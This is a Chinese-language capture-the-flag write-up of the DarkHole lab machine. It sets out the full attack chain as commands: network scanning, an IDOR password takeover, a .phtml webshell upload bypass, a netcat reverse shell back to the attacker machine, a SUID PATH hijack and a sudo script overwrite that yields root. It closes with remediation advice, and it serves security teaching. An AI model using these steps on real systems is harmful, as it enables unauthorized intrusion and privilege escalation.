DarkHole 靶场渗透测试实战:从 IDOR 越权到 Linux Root 提权
2026/8/27 23:26:47 网站建设 项目流程

本文记录一次在本地授权靶场中的完整渗透测试过程,内容仅用于网络安全学习、靶场复现与防御研究,请勿用于未授权目标。

前言

本次实验目标是一台运行在 VMware 中的 DarkHole 靶机。开始时只知道靶机位于192.168.134.0/24网段,不知道具体 IP。

整个攻击链如下:

主机探活 → 端口与服务扫描 → Web 目录枚举 → IDOR 越权接管管理员账号 → 绕过上传后缀限制 → WebShell 与反弹 Shell → 枚举 SUID 程序 → PATH 劫持获得 john 权限 → SSH 登录并发现 sudo 配置缺陷 → 覆盖 Python 脚本获得 root

实验环境:

项目信息
攻击机Kali Linux
目标网段192.168.134.0/24
靶机 IP192.168.134.148
Web 服务HTTP / 80
远程服务SSH / 22

一、主机探活

首先对已知网段进行 Ping 扫描,枚举当前网络中的存活主机:

nmap-sP192.168.134.0/24

扫描结果中发现192.168.134.148存活,结合虚拟机环境判断,这就是本次实验的目标主机。

二、端口与服务扫描

确认目标 IP 后,对其进行全端口扫描:

nmap-sS-T5-sC-p- --min-rate10000192.168.134.148

参数说明:

  • -sS:SYN 半开放扫描,速度较快,不完成完整 TCP 三次握手。
  • -T5:使用较快的扫描时间模板,适合本地靶场。
  • -sC:运行 Nmap 默认脚本,对常见服务进行基础探测。
  • -p-:扫描全部 TCP 端口,即 1~65535。
  • --min-rate 10000:设置每秒最少发送 10000 个探测包,提高扫描速度。

扫描发现两个关键端口:

22/tcp open ssh 80/tcp open http

80 端口提供 Web 服务,是当前的主要突破入口;22 端口的 SSH 服务则可能在后续拿到凭据后使用。

三、Web 目录枚举

使用dirsearch对 Web 目录和 PHP 文件进行枚举:

dirsearch-uhttp://192.168.134.148-e'*'

扫描过程中发现了登录、注册和上传等相关路径,其中包括:

/register.php /login.php /upload/

访问注册页面,先注册一个普通用户,再通过登录页面进入系统。

四、IDOR 越权接管管理员账号

登录普通账号后,可以看到个人资料和修改密码功能。当前普通用户的 URL 参数中出现了id=2

http://192.168.134.148/dashboard.php?id=2

普通用户的 ID 为 2,因此可以合理猜测管理员用户的 ID 很可能是 1。

点击修改密码并使用 Burp Suite 抓包,可以看到请求体中直接携带用户 ID:

POST /dashboard.php?id=2 HTTP/1.1 Host: 192.168.134.148 Content-Type: application/x-www-form-urlencoded password=222&id=2

将请求中的目标 ID 修改为 1:

password=222&id=1

请求成功后返回登录页面,使用修改后的凭据登录,成功进入管理员账号。管理员页面比普通用户多出了文件上传功能。


这里存在典型的 IDOR(不安全的直接对象引用)问题:服务端直接信任客户端传入的用户 ID,却没有验证当前会话是否有权修改目标账户。

五、绕过文件上传限制

管理员页面提供文件上传功能。直接尝试上传 PHP 文件时,页面提示只允许以下后缀:

jpg、png、gif

在 PHP 环境中,除了.php,某些配置还可能把.phtml.php3等后缀当作 PHP 脚本解析。因此可以使用 Burp Suite 修改上传文件名,将后缀改为.phtml

shell.php → shell.phtml

服务器返回上传成功。访问上传目录,可以看到shell.phtml已经存在:

http://192.168.134.148/upload/

该问题的根因是服务器只检查了少量文件扩展名,并且上传目录仍然允许 Web 服务器解析脚本。

六、连接 WebShell

在蚁剑中配置上传后的 WebShell 地址,并填写与 WebShell 对应的连接密码:

http://192.168.134.148/upload/shell.phtml

测试连接成功,说明已经能够在 Web 服务器上执行命令。

通过文件管理功能可以浏览服务器目录,当前权限落点为 Web 服务账户www-data

七、获取反弹 Shell

WebShell 操作不如本地终端方便,因此继续获取反弹 Shell。

首先在 Kali 上监听 4444 端口:

nc-lvvp4444

准备 PHP 反弹 Shell 文件,并把攻击机地址和监听端口配置为:

攻击机 IP:192.168.134.129 监听端口:4444

在目标服务器上触发反弹 Shell 后,Kali 成功收到连接:

查看当前身份:

whoami

输出为:

www-data

为了获得更稳定的交互式终端,使用 Python 升级 PTY:

python3-c'import pty; pty.spawn("/bin/bash")'

八、枚举 SUID 文件

获得本地 Shell 后,开始进行 Linux 提权枚举。首先查找具有 SUID 权限的文件:

find/-perm-u=s-typef2>/dev/null

扫描结果中,大部分都是系统常见的 SUID 程序,但下面这个文件明显不是系统默认程序:

/home/john/toto

进入 john 的家目录查看文件:

cd/home/johnls-la

目录中还存在user.txtpassword,但当前www-data用户没有读取权限:

catuser.txtcatpassword

输出:

Permission denied

九、利用 PATH 劫持获得 john 权限

进一步分析toto后,发现它会调用系统的id命令,但没有使用绝对路径。程序运行时会按照PATH环境变量指定的顺序搜索命令,因此可以尝试 PATH 劫持。

进入/tmp,伪造一个名为id的脚本:

cd/tmptouchidecho'/bin/bash'>idchmod777id

/tmp放到 PATH 的最前面:

exportPATH=/tmp:$PATH

返回 john 的家目录并运行toto

cd/home/john ./toto

此时成功获得 john 用户上下文,可以读取之前无权访问的文件:

catuser.txtcatpassword

读取结果:

user.txt:DarkHole{You_Can_Do_It} password:root123

十、使用 SSH 登录 john

前面的端口扫描显示目标开放了 22 端口,因此使用获得的凭据尝试 SSH 登录:

sshjohn@192.168.134.148

输入密码root123后登录成功。

验证当前用户:

whoami

输出为:

john

十一、利用 sudo 可写脚本提权

查看 john 拥有的 sudo 权限:

sudo-l

结果显示,john 可以使用 root 权限执行下面的 Python 脚本:

/usr/bin/python3 /home/john/file.py

问题在于,file.py位于 john 自己的家目录,并且当前用户可以修改它。于是将提权代码写入脚本:

echo'import os; os.system("/bin/bash")'>/home/john/file.py

再使用 sudo 执行:

sudopython3 /home/john/file.py

检查当前身份:

whoami

输出:

root

至此,提权成功。

十二、读取最终 Flag

进入 root 家目录并查看文件:

cd/rootlscatroot.txt

最终 Flag:

DarkHole{You_Are_Legend}

十三、漏洞链复盘

本次实验并不是依靠单一漏洞直接获得 root,而是把多个配置和权限缺陷串联在了一起。

1. IDOR 越权

服务端直接使用客户端传入的用户 ID 修改账户信息,没有确认当前会话是否有权操作目标用户。

修复建议:

  • 不要仅依赖客户端传入的对象 ID。
  • 每次读取或修改对象时,都进行服务端授权校验。
  • 从当前登录会话中获取用户身份,而不是信任请求参数。

2. 文件上传验证不足

服务器只限制了少量扩展名,.phtml仍然可以被解析为 PHP 脚本,而且上传目录允许执行脚本。

修复建议:

  • 上传文件由服务器重新命名,不保留用户提供的文件名。
  • 同时检查扩展名、MIME 类型和文件真实内容。
  • 上传目录与 Web 根目录隔离。
  • 禁止上传目录解析 PHP、PHTML 等脚本。
  • 对图片进行重新编码后再保存。

3. SUID 程序依赖可控 PATH

SUID 程序toto调用外部命令时没有使用绝对路径,使攻击者可以通过修改PATH劫持命令执行流程。

修复建议:

  • 特权程序调用命令时使用绝对路径。
  • 执行前清理PATH等环境变量。
  • 定期审计非系统默认的 SUID 文件。
  • 尽量移除不必要的 SUID 权限。

4. sudo 执行普通用户可写脚本

john 可以用 root 权限执行/home/john/file.py,同时又能够修改该文件,相当于可以控制 root 将要执行的代码。

修复建议:

  • sudo 目标脚本必须归 root 所有,普通用户不可写。
  • 特权脚本应放在/usr/local/sbin等受保护目录。
  • 使用最小权限原则配置 sudoers。
  • 避免允许用户通过解释器执行可控脚本。

总结

本次 DarkHole 靶场的完整攻击路径为:

192.168.134.148 → Web 普通用户 → IDOR 接管管理员 → phtml 上传绕过 → www-data WebShell → 反弹 Shell → SUID/PATH 劫持 → john → sudo 可写 Python 脚本 → root

这次实验最重要的启示是:单个低危问题可能不足以导致系统失陷,但如果授权、文件上传、SUID 和 sudo 配置同时存在缺陷,攻击者就可以把一个普通 Web 入口逐步放大为 root 权限。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询